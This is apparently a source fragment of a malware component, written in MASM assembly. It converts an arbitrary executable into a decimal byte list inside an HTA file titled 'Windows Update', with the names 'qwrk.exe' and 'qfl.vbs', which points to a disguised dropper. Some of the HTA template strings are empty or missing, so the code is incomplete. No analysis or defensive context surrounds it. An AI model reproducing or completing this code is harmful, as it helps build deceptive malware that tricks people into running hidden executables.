; HTA file generator
; #########################################################################
.data
szHTAFileName equ "qwrk.exe"
szHTAVbsName equ "qfl.vbs"
szHTACode1 db '',13,10
db '
',13,10
db 'Windows Update',13,10
db '',13,10
db '',13,10
db '',13,10
db '',13,10
db '',0
szHTAShortFmt db "%hu,",0
szHTAShortFmt2 db "%hu",0
szHTAIntFmt db "%lu",0
.code
GenHTACode proc hFileIn, hFileOut, dwInLen: DWORD
LOCAL NumStr[20]: BYTE
LOCAL Temp: BYTE
LOCAL dwTemp, len: DWORD
invoke lstrlen, offset szHTACode1
xchg eax, edx
invoke WriteFile, hFileOut, offset szHTACode1, edx, addr dwTemp, NULL
m2m len, dwInLen
.WHILE len > 0
invoke ReadFile, hFileIn, addr Temp, 1, addr dwTemp, NULL
.IF len == 1
mov edx, offset szHTAShortFmt2
.ELSE
mov edx, offset szHTAShortFmt
.ENDIF
invoke wsprintf, addr NumStr, edx, Temp
invoke lstrlen, addr NumStr
xchg eax, edx
invoke WriteFile, hFileOut, addr NumStr, edx, addr dwTemp, NULL
dec len
.ENDW
invoke lstrlen, offset szHTACode2
xchg eax, edx
invoke WriteFile, hFileOut, offset szHTACode2, edx, addr dwTemp, NULL
dec dwInLen
invoke wsprintf, addr NumStr, offset szHTAIntFmt, dwInLen
invoke lstrlen, addr NumStr
xchg eax, edx
invoke WriteFile, hFileOut, addr NumStr, edx, addr dwTemp, NULL
invoke lstrlen, offset szHTACode3
xchg eax, edx
invoke WriteFile, hFileOut, offset szHTACode3, edx, addr dwTemp, NULL
ret
GenHTACode endp
CreateHTAFile proc uses ebx InFile, OutFile: DWORD
LOCAL hFileIn: DWORD
LOCAL hFileOut: DWORD
xor ebx, ebx
invoke CreateFile, InFile, GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL
mov hFileIn, eax
inc eax
jz @chf_ret
invoke CreateFile, OutFile, GENERIC_WRITE or GENERIC_READ, FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL
mov hFileOut, eax
inc eax
jz @chf_ret
invoke GetFileSize, hFileIn, NULL
invoke GenHTACode, hFileIn, hFileOut, eax
invoke CloseHandle, hFileIn
invoke CloseHandle, hFileOut
inc ebx
@chf_ret:
mov eax, ebx
ret
CreateHTAFile endp